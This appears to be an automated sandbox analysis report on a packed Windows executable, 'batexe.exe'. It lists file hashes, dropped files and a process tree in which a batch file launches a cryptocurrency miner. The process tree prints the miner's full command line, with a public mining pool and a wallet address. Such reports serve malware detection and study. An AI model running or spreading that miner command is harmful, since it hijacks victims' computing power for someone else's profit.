73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
291s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23-02-2024 23:51

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1256	b2e.exe
4920	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/396-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 396 wrote to memory of 1256	396	batexe.exe	73
PID 396 wrote to memory of 1256	396	batexe.exe	73
PID 396 wrote to memory of 1256	396	batexe.exe	73
PID 1256 wrote to memory of 3364	1256	b2e.exe	74
PID 1256 wrote to memory of 3364	1256	b2e.exe	74
PID 1256 wrote to memory of 3364	1256	b2e.exe	74
PID 3364 wrote to memory of 4920	3364	cmd.exe	77
PID 3364 wrote to memory of 4920	3364	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:396
- C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B3B0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3364
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe

Filesize
9.1MB

MD5
b9f55a821ed5153f62697190e2a2040d

SHA1
bdc34951d5e6deeeac3f4049710f9e9fc6e641ea

SHA256
de8ef1b36d6bafd5dd4824e81d1cd79c087c6d9f89cc19785071f985132c1fb7

SHA512
20a9f32843daff1bd99cf68f0771631611c4b3617227aab209da98f78100f035dbcc9c7d1374c6cab81069ea8b78c8bf00235443b16556a142d4b60940a4d90e

Download Submit
C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe

Filesize
10.3MB

MD5
d9c5d7a681d4ac8327908596cc021d52

SHA1
d90851571b208102c64924791e85fd4e115e1f5d

SHA256
6464c7330e64835b2f868a2f7c7cf8211502d723a92689e7f087224eb89026a0

SHA512
2a38f4f6130bf4a2247e6c481fc89b9da4eae164fd0c32d5bb715d0e97dd3505b2ff6107bf1434e61080e105957d0b736d86f683e2ab1592e10e46c668343c38

Download Submit
C:\Users\Admin\AppData\Local\Temp\B3B0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
fbc6986d0b282044d62bdc8e6ddef141

SHA1
637151872a5e110a0413926fde352a9c5558a269

SHA256
8652a795b0c60dc45c16f5da4797c14fdec7c23580b753b2a557403d61ab416f

SHA512
069262697158ef0a71a9ff0e77e1c6064a6e9e1886b9ba4d1ed6acdd4a9a8e3969c446c0345c8b8ce017f82f7c63111c2f2b76d74be3e395302e1cda7e52af5e

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
29361f54209797371b7ce31ba24241e7

SHA1
4720e44643890c789fde3c0d8adc13d2adb7db0a

SHA256
3a1c70e3ec44f08ace3d3e11b708111bc52b350adc34f14e88f9ff118e44af77

SHA512
6f575294311b8804f1e029ebf1af975b3d6308aa3fa08bb0c539bfa6744142d9496eace01e8c1ac7c12b0561c8675222a766e61209dc28a363edde05b6ed0e61

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
5649e8dabf664b55a1f1b96f62a6ba49

SHA1
3f6cbf36d861300f9029d03ab12fbe2f8f6b1026

SHA256
86f9fd7d3fe809f1b0c89df27f8539a69460d8ad49e79e5f3a1441dd8fdb362d

SHA512
c4833e0a6dca41a7af0ffdae2a98b5b504f8863d0bacc1221d4ef683b2ca210a4098b99956765f71aae0de8e7d0f076d0ec9297f7c6240b0937e4854cdb06a4f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/396-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1256-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1256-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4920-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4920-42-0x0000000050730000-0x00000000507C8000-memory.dmp

Filesize
608KB

Download
memory/4920-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-44-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/4920-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4920-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download